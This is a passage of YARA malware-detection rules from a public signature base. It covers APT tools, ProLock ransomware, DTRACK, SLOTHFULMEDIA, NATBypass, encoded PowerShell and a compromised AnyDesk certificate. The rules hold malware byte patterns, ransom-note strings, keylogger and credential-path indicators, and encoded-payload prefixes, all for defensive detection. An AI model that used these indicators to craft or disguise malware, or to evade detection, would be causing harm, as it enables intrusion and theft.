		$s2 = "]; string x = null;" ascii
		$s3 = ";  if (!String.Equals(pass, " ascii
	condition:
		filesize < 150KB and 2 of them
}

rule SIGNATURE_BASE_EXPL_CVE_2021_1647_Apr21_1 : CVE_2021_1647 FILE
{
	meta:
		description = "Detects samples that exploit CVE-2021-1647"
		author = "Arkbird_SOLG"
		id = "ecce018e-1bee-5374-b6c8-984c2a8c2530"
		date = "2021-05-04"
		modified = "2023-12-05"
		reference = "https://attackerkb.com/topics/DzXZpEuBeP/cve-2021-1647-microsoft-windows-defender-zero-day-vulnerability"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_cve_2021_1647.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b0e1809ba10e5ea624e1c4d2e948c928c590b40e6315def8cb1216930ead8579"
		score = 75
		quality = 85
		tags = "CVE-2021-1647, FILE"
		hash1 = "6e1e9fa0334d8f1f5d0e3a160ba65441f0656d1f1c99f8a9f1ae4b1b1bf7d788"
		hash2 = "9eaea8a56c47524f6d6b2e2bb72d035c1aa782a4f069ef9df92a0af5c6ee612b"
		hash3 = "db0e53c9db41d4de21f4bbf1f60d977f5d935239d3fce8b902e8ef0082796cc7"
		hash4 = "24d9ff44affea06435829507e8e6cb4b659468aa2af510031ed963caf5a6d77a"
	strings:
		$seq1 = { 83 7d ec 01 0f 8e fe 76 ff ff 83 45 f4 01 83 7d f4 01 0f 8e e4 76 ff ff 8b 45 e4 89 04 24 e8 12 74 ff ff 83 ec 04 a1 [2] 01 b1 85 c0 75 0e 8b 45 e4 89 04 24 e8 fb 73 ff ff 83 ec 04 a1 28 ?? 01 b1 c7 44 24 04 00 00 00 00 c7 04 24 00 00 00 00 ff d0 83 ec 08 b8 00 00 00 00 c9 c2 04 00 55 89 e5 83 ec 10 c7 45 f4 00 ?? 01 70 8b 45 08 83 e8 01 a3 70 ?? 01 b1 c7 05 74 ?? 01 b1 00 00 00 00 c7 05 a0 ?? 02 b1 00 00 00 00 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 }
		$seq2 = { a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 74 1d a1 74 ?? 01 b1 83 e8 01 83 e0 01 85 c0 74 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 83 e0 fe 89 c2 a1 [2] 01 b1 29 c2 89 d0 25 ff 0f 00 00 a3 5c ?? 01 b1 a1 74 ?? 01 b1 a3 a0 ?? 02 b1 8b 15 70 ?? 01 b1 a1 74 ?? 01 b1 01 d0 d1 e8 83 c0 01 a3 74 ?? 01 b1 83 7d 0c 00 75 0e 8b 15 5c ?? 01 b1 8b 45 f4 01 d0 89 45 fc c7 45 f8 00 00 00 00 eb 19 8b 45 f8 05 e2 ff ff 7f 8d 14 00 8b 45 fc 01 d0 66 c7 00 01 00 83 45 f8 01 83 7d f8 3b 7e e1 8b 45 fc }
	condition:
		filesize > 10KB and filesize < 10000KB and all of them
}


rule SIGNATURE_BASE_APT_APT28_Drovorub_Library_And_Unique_Strings : FILE
{
	meta:
		description = "Rule to detect Drovorub-server, Drovorub-agent, and Drovorub-client"
		author = "NSA / FBI"
		id = "8e010356-09c7-5897-9cbe-051cd0800502"
		date = "2020-08-13"
		modified = "2023-12-05"
		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt28_drovorub.yar#L23-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "adb0d4cb6d589213e6a125d3cc20fcea8164b697bdd24d897ce75e7c7f06120a"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Poco" ascii wide
		$s2 = "Json" ascii wide
		$s3 = "OpenSSL" ascii wide
		$a1 = "clientid" ascii wide
		$a2 = "-----BEGIN" ascii wide
		$a3 = "-----END" ascii wide
		$a4 = "tunnel" ascii wide
	condition:
		( filesize > 1MB and filesize < 10MB and ( uint32( 0 ) == 0x464c457f ) ) and ( #s1 > 20 and #s2 > 15 and #s3 > 15 and all of ( $a* ) )
}

rule SIGNATURE_BASE_MAL_Prolock_Malware : FILE
{
	meta:
		description = "Detects Prolock malware in encrypted and decrypted mode"
		author = "Frank Boldewin (@r3c0nst)"
		id = "269bf0c5-8315-5405-8e44-e2cc5507a36a"
		date = "2020-05-17"
		modified = "2023-12-05"
		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_prolock.yar#L1-L20"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "da8a0ec683475019daddd4acdd00d4c36eedacad3deef2be4220b86cbf5f9df0"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
	strings:
		$DecryptionRoutine = {01 C2 31 DB B8 ?? ?? ?? ?? 31 04 1A 81 3C 1A}
		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
	condition:
		(( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0x4D42 ) ) and filesize < 100KB and ( ( $DecryptionRoutine ) or ( 1 of ( $DecryptedString* ) and $CryptoCode ) )
}


rule SIGNATURE_BASE_APT_CN_Twistedpanda_SPINNER_1 : FILE
{
	meta:
		description = "Detects the obfuscated variant of SPINNER payload used by TwistedPanda"
		author = "Check Point Research"
		id = "0b44013d-0caa-5ea2-ab08-e2a6a5732c03"
		date = "2022-04-14"
		modified = "2025-07-01"
		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_cn_twisted_panda.yar#L46-L80"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e7abe4b3f4225596131882a9175f9ac2e45ba00557950772a8e4d1eaeab97d05"
		score = 80
		quality = 85
		tags = "FILE"
		hash1 = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
	strings:
		$config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
		$c2_cmd_1 = { 01 00 03 10}
		$c2_cmd_2 = { 02 00 01 10}
		$c2_cmd_3 = { 01 00 01 10}
		$decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 3000KB and #config_init > 10 and 2 of ( $c2_cmd_* ) and $decryption
}




rule SIGNATURE_BASE_SUSP_PS1_Frombase64String_Content_Indicator : FILE
{
	meta:
		description = "Detects suspicious base64 encoded PowerShell expressions"
		author = "Florian Roth (Nextron Systems)"
		id = "326c83ff-5d21-508f-b935-03ccdab6efa7"
		date = "2020-01-25"
		modified = "2024-04-03"
		reference = "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_powershell_susp.yar#L233-L284"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a9ec7a00e9faee5cc081a2bc86abf8027fcd3cfe590cdd4f2f99425b6723f23f"
		score = 65
		quality = 83
		tags = "FILE"
	strings:
		$ = "::FromBase64String(\"H4s" ascii wide
		$ = "::FromBase64String(\"TVq" ascii wide
		$ = "::FromBase64String(\"UEs" ascii wide
		$ = "::FromBase64String(\"JAB" ascii wide
		$ = "::FromBase64String(\"SUVY" ascii wide
		$ = "::FromBase64String(\"SQBFAF" ascii wide
		$ = "::FromBase64String(\"SQBuAH" ascii wide
		$ = "::FromBase64String(\"PAA" ascii wide
		$ = "::FromBase64String(\"cwBhA" ascii wide
		$ = "::FromBase64String(\"aWV4" ascii wide
		$ = "::FromBase64String(\"aQBlA" ascii wide
		$ = "::FromBase64String(\"R2V0" ascii wide
		$ = "::FromBase64String(\"dmFy" ascii wide
		$ = "::FromBase64String(\"dgBhA" ascii wide
		$ = "::FromBase64String(\"dXNpbm" ascii wide
		$ = "::FromBase64String(\"H4sIA" ascii wide
		$ = "::FromBase64String(\"Y21k" ascii wide
		$ = "::FromBase64String(\"Qzpc" ascii wide
		$ = "::FromBase64String(\"Yzpc" ascii wide
		$ = "::FromBase64String(\"IAB" ascii wide
		$ = "::FromBase64String('H4s" ascii wide
		$ = "::FromBase64String('TVq" ascii wide
		$ = "::FromBase64String('UEs" ascii wide
		$ = "::FromBase64String('JAB" ascii wide
		$ = "::FromBase64String('SUVY" ascii wide
		$ = "::FromBase64String('SQBFAF" ascii wide
		$ = "::FromBase64String('SQBuAH" ascii wide
		$ = "::FromBase64String('PAA" ascii wide
		$ = "::FromBase64String('cwBhA" ascii wide
		$ = "::FromBase64String('aWV4" ascii wide
		$ = "::FromBase64String('aQBlA" ascii wide
		$ = "::FromBase64String('R2V0" ascii wide
		$ = "::FromBase64String('dmFy" ascii wide
		$ = "::FromBase64String('dgBhA" ascii wide
		$ = "::FromBase64String('dXNpbm" ascii wide
		$ = "::FromBase64String('H4sIA" ascii wide
		$ = "::FromBase64String('Y21k" ascii wide
		$ = "::FromBase64String('Qzpc" ascii wide
		$ = "::FromBase64String('Yzpc" ascii wide
		$ = "::FromBase64String('IAB" ascii wide
	condition:
		filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_HKTL_Natbypass_Dec22_1 : T1090 FILE
{
	meta:
		description = "Detects NatBypass tool (also used by APT41)"
		author = "Florian Roth (Nextron Systems)"
		id = "54af4d84-72f7-5ec4-b0bf-7ba228fdf508"
		date = "2022-12-27"
		modified = "2023-12-05"
		reference = "https://github.com/cw1997/NATBypass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/hktl_natbypass.yar#L2-L24"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "8af76d7d9d4500dc219090fbd8ca8cd9fd17bfc224f14a411febfd6f75b92206"
		score = 80
		quality = 85
		tags = "T1090, FILE"
		hash1 = "4550635143c9997d5499d1d4a4c860126ee9299311fed0f85df9bb304dca81ff"
	strings:
		$x1 = "nb -slave 127.0.0.1:3389 8.8.8.8:1997" ascii
		$x2 = "| Welcome to use NATBypass Ver" ascii
		$s1 = "main.port2host.func1" ascii fullword
		$s2 = "start to transmit address:" ascii
		$s3 = "^(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])\\.(\\d{1,2}|1\\d\\d|2[0-4]\\d|25[0-5])"
	condition:
		filesize < 8000KB and ( 1 of ( $x* ) or 2 of them ) or 3 of them
}

rule SIGNATURE_BASE_APT_MAL_DTRACK_Oct19_1 : FILE
{
	meta:
		description = "Detects DTRACK malware"
		author = "Florian Roth (Nextron Systems)"
		id = "802135bd-234d-574d-b111-fcc9eaa000f8"
		date = "2019-10-28"
		modified = "2023-12-05"
		reference = "https://twitter.com/a_tweeter_user/status/1188811977851887616?s=21"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_dtrack.yar#L2-L44"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b99bc8ec4df7185da306365dc2a24a0849ff0d5d92269daaa1efbb20f5e5bf83"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		hash1 = "c5c1ca4382f397481174914b1931e851a9c61f029e6b3eb8a65c9e92ddf7aa4c"
		hash2 = "a0664ac662802905329ec6ab3b3ae843f191e6555b707f305f8f5a0599ca3f68"
		hash3 = "93a01fbbdd63943c151679d037d32b1d82a55d66c6cb93c40ff63f2b770e5ca9"
		hash4 = "3cc9d9a12f3b884582e5c4daf7d83c4a510172a836de90b87439388e3cde3682"
		hash5 = "bfb39f486372a509f307cde3361795a2f9f759cbeb4cac07562dcbaebc070364"
		hash6 = "58fef66f346fe3ed320e22640ab997055e54c8704fc272392d71e367e2d1c2bb"
		hash7 = "9d9571b93218f9a635cfeb67b3b31e211be062fd0593c0756eb06a1f58e187fd"
	strings:
		$xc1 = { 25 73 2A 2E 2A 00 00 00 5C 00 00 00 25 73 7E 00
               5C 00 00 00 77 62 00 00 64 61 74 00 64 6B 77 65
               72 6F 33 38 6F 65 72 41 5E 74 40 23 00 00 00 00
               63 3A 5C 00 25 73 5C 25 63 2E 74 6D 70 }
		$sx1 = "%02d.%02d.%04d - %02d:%02d:%02d:%03d : " fullword ascii
		$sx2 = "%s\\%c.tmp" fullword ascii
		$sx3 = "dkwero38oerA" fullword ascii
		$sx4 = "awz2qr21yfbj" fullword ascii
		$s1 = "Execute_%s.log" ascii
		$s2 = "%s\\%s\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" fullword ascii
		$s3 = "CCS_Mozilla/5.0" fullword ascii
		$s4 = "\\C$\\Windows\\Temp\\MpLogs\\" ascii
		$s5 = "127.0.0.1 >NUL & echo EEEE > \"%s\"" fullword ascii
		$s6 = "[+] DownloadCommand" fullword ascii
		$s7 = "DC-Error: Too long cmd length" fullword ascii
		$s8 = "%s\\~%d.tmp" fullword ascii
		$s9 = "%02X:%02X:%02X:%02X:%02X:%02X" ascii fullword
		$op1 = { 0f b6 8d a3 fc ff ff 85 c9 74 09 8b 55 f4 83 c2 }
		$op2 = { 6a 00 8d 85 28 fc ff ff 50 6a 04 8d 4d f8 51 8b }
		$op3 = { 8b 85 c8 fd ff ff 03 85 a4 fc ff ff 89 85 b4 fc }
	condition:
		$xc1 or 2 of ( $sx* ) or 4 of them or ( uint16( 0 ) == 0x5a4d and filesize <= 3000KB and 2 of them )
}

rule SIGNATURE_BASE_SUSP_Gobfuscate_May21 : FILE
{
	meta:
		description = "Identifies binaries obfuscated with gobfuscate"
		author = "James Quinn, Paul Hager (merged with new similar pattern)"
		id = "ae518296-b1c3-568c-bae0-3e0a6f7600ba"
		date = "2021-05-14"
		modified = "2024-04-02"
		reference = "https://github.com/unixpickle/gobfuscate"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_gobfuscate.yar#L2-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f71078dd6354a482a2ead2f0d25f4172cd40e62440a70c2da7916b68f26909a3"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? ?? 31 D? [0-1] 88 ?? ?? ?? 48 FF C? 48 83 F? ?? 7C E6 48 }
		$s2 = { 0F B6 ?? ?? ?? 31 DA 88 ?? ?? ?? 40 83 ?? ?? 7D 09 0F B6 }
	condition:
		filesize < 50MB and any of them
}

rule SIGNATURE_BASE_APT_KE3CHANG_TMPFILE : APT KE3CHANG TMPFILE FILE
{
	meta:
		description = "Detects Strings left in TMP Files created by K3CHANG Backdoor Ketrican"
		author = "Markus Neis, Swisscom"
		id = "84d411af-ea3d-5862-8c2f-7caca60c1b66"
		date = "2020-06-18"
		modified = "2023-12-05"
		reference = "https://app.any.run/tasks/a96f4f9d-c27d-490b-b5d3-e3be0a1c93e9/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ke3chang.yar#L1-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "75c97fe2eeb82e09f52e98d76bd529824f171da4c802b5febc1036314d8145f0"
		score = 75
		quality = 85
		tags = "APT, KE3CHANG, TMPFILE, FILE"
		hash1 = "4ef11e84d5203c0c425d1a76d4bf579883d40577c2e781cdccc2cc4c8a8d346f"
	strings:
		$pps1 = "PSParentPath             : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
		$pps2 = "PSPath                   : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
		$psp1 = ": Microsoft.PowerShell.Core\\Registry" ascii
		$s4 = "PSChildName  : PhishingFilter" fullword ascii
		$s1 = "DisableFirstRunCustomize : 2" fullword ascii
		$s7 = "PSChildName  : 3" fullword ascii
		$s8 = "2500         : 3" fullword ascii
	condition:
		uint16( 0 ) == 0x5350 and filesize < 1KB and $psp1 and 1 of ( $pps* ) and 1 of ( $s* )
}

rule SIGNATURE_BASE_APT_MAL_Ke3Chang_Ketrican_Jun20_1 : FILE
{
	meta:
		description = "Detects Ketrican malware"
		author = "Florian Roth (Nextron Systems)"
		id = "ccd8322e-c822-512a-9ac5-eabc9d09640b"
		date = "2020-06-18"
		modified = "2023-12-05"
		reference = "BfV Cyber-Brief Nr. 01/2020"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ke3chang.yar#L23-L42"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a2806de18432dbab24f08c7c2863fd694c91192cf7df4388dfeb87b237f22257"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "02ea0bc17875ab403c05b50205389065283c59e01de55e68cee4cf340ecea046"
		hash2 = "f3efa600b2fa1c3c85f904a300fec56104d2caaabbb39a50a28f60e0fdb1df39"
	strings:
		$xc1 = { 00 59 89 85 D4 FB FF FF 8B 85 D4 FB FF FF 89 45
               FC 68 E0 58 40 00 8F 45 FC E9 }
		$op1 = { 6a 53 58 66 89 85 24 ff ff ff 6a 79 58 66 89 85 }
		$op2 = { 8d 45 bc 50 53 53 6a 1c 8d 85 10 ff ff ff 50 ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of ( $x* ) or 2 of them
}

rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Eraser_1 : FILE
{
	meta:
		description = "Detects malware used in attack on academic data centers"
		author = "Florian Roth (Nextron Systems)"
		id = "36d17887-9844-5fa4-8a0d-89cc41b2d876"
		date = "2020-05-16"
		modified = "2023-12-05"
		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_academic_data_centers_camp_may20.yar#L1-L18"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9a0410e86fa8fb8b599e5b8a6508d6889eb6e26600f0ecf222561ac4a169676d"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "552245645cc49087dfbc827d069fa678626b946f4b71cb35fa4a49becd971363"
	strings:
		$sc2 = { E6 FF FF 48 89 45 D0 8B 45 E0 BA 00 00 00 00 BE
               00 00 00 00 89 C7 E8 }
		$sc3 = { E6 FF FF 89 45 DC 8B 45 DC 83 C0 01 48 98 BE 01
               00 00 00 48 89 C7 E8 }
	condition:
		uint16( 0 ) == 0x457f and filesize < 60KB and all of them
}

rule SIGNATURE_BASE_APT_LNX_Academic_Camp_May20_Loader_1 : FILE
{
	meta:
		description = "Detects malware used in attack on academic data centers"
		author = "Florian Roth (Nextron Systems)"
		id = "cda65abd-d918-5ee6-8f4a-554d47532d76"
		date = "2020-05-16"
		modified = "2023-12-05"
		reference = "https://csirt.egi.eu/academic-data-centers-abused-for-crypto-currency-mining/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_academic_data_centers_camp_may20.yar#L20-L35"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a73883f9fdf3d53694d9f9efec5f8f15994c5fd80c5f2a87b1741db6b954a023"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "0efdd382872f0ff0866e5f68f0c66c01fcf4f9836a78ddaa5bbb349f20353897"
	strings:
		$sc1 = { C6 45 F1 00 C6 45 F2 0A C6 45 F3 0A C6 45 F4 4A 
               C6 45 F5 04 C6 45 F6 06 C6 45 F7 1B C6 45 F8 01 }
		$sc2 = { 01 48 39 EB 75 EA 48 83 C4 08 5B 5D 41 5C 41 5D }
	condition:
		uint16( 0 ) == 0x457f and filesize < 10KB and all of them
}

rule SIGNATURE_BASE_APT_MAL_SLOTHFULMEDIA_Oct20_1 : FILE
{
	meta:
		description = "Detects SLOTHFULMEDIA malware"
		author = "Florian Roth (Nextron Systems)"
		id = "cc413225-f084-5859-bc27-04eb018d8894"
		date = "2020-10-01"
		modified = "2023-12-05"
		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_iamtheking.yar#L2-L48"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e50bda40eb05767e0903c3d8dd62b4e0290d89740c82c8b7f391d5763dc35156"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
		hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
		hash3 = "f0503f0131040b805e106eafe64a65d9404a0e279f052237b868e456c34d36e6"
		hash4 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
		hash5 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
		hash6 = "cb2adcaaa25bb6b8a9f1c685c219f8d6d78aa5cfd65c633f4d255ff81da2c517"
	strings:
		$xc1 = { 25 73 26 69 3D 25 64 00 48 54 54 50 2F 31 2E 31
               00 00 00 00 50 4F 53 54 00 00 00 00 43 6F 6E 74
               65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 00 00
               5C 00 53 00 65 00 74 00 75 00 70 00 55 00 69 00
               00 00 00 00 25 00 73 00 25 00 73 00 5F 00 25 00
               64 00 2E 00 64 00 61 00 74 }
		$xc2 = { 2F 76 3F 6D 3D 00 00 00 35 30 31 00 32 30 30 00
               2A 00 2E 00 2A 00 00 00 25 00 73 00 00 00 00 00
               53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00
               72 00 69 00 76 00 69 00 6C 00 65 00 67 00 65 }
		$xc3 = { 00 25 00 73 00 7C 00 25 00 73 00 7C 00 25 00 73
               00 7C 00 25 00 73 00 00 00 5C 00 46 00 69 00 6C
               00 74 00 65 00 72 00 33 00 2E 00 6A 00 70 00 67 }
		$sc1 = { 25 74 65 6D 70 25 00 00 25 73 5C 25 73 2E 65 78
               65 00 00 00 25 74 65 6D 70 25 00 00 25 73 5C 25
               73 2E 65 78 65 }
		$sc2 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65
               74 2D 73 74 72 65 61 6D 2C 61 70 70 6C 69 63 61
               74 69 6F 6E 2F 78 68 74 6D 6C 00 00 25 73 26 69
               3D 25 64 00 48 54 54 50 2F 31 2E 31 00 00 00 00
               50 4F 53 54 }
		$s1 = "%s%s_%d.dat" wide fullword
		$s2 = "Local Security Process" wide fullword
		$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" ascii fullword
		$s4 = "Global%s%d" wide fullword
		$s5 = "ExtKeyloggerStart" ascii fullword
		$s6 = "GetExtendedTcpTable" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}


rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_2 : FILE
{
	meta:
		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; permissive version)"
		author = "Florian Roth"
		id = "a41af8d8-ebdf-5a2f-8cf5-abd4587bdfc5"
		date = "2024-02-02"
		modified = "2024-04-24"
		reference = "https://anydesk.com/en/public-statement"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_anydesk_compromised_cert_feb23.yar#L38-L56"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "86f708233d5a6a46d367430dcc65b128e8dc7ec24eda774ff3860101cc16c9fc"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$sc1 = { 0D BF 15 2D EA F0 B9 81 A8 A9 38 D5 3F 76 9D B8 }
		$s2 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
		$f1 = "AnyDesk Software GmbH" wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20000KB and all of ( $s* ) and not 1 of ( $f* )
}


rule SIGNATURE_BASE_MAL_Gopuram_Apr23 : FILE
{
	meta:
		description = "Detects Lazarus Gopuram malware"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "e0bb43b0-542b-5c8e-bcba-0326f80efaa0"
		date = "2023-04-04"
		modified = "2023-12-05"
		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_gopuram.yar#L1-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
